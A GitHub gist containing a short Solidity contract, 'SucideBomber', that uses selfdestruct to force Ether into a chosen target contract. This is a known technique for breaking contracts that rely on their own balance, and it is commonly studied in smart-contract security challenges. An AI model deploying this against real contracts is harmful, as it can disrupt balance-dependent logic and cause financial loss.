Created
April 19, 2018 12:55
-
-
Save ihordiachenko/b4407c289896385ca5ab6d08c58d9ec4 to your computer and use it in GitHub Desktop.
Force ether to a contract
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.21; | |
/** | |
* This contract allows to force Ether into a contract. | |
*/ | |
contract SucideBomber { | |
function SucideBomber() payable {} | |
function boom(address target) public { | |
selfdestruct(target); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment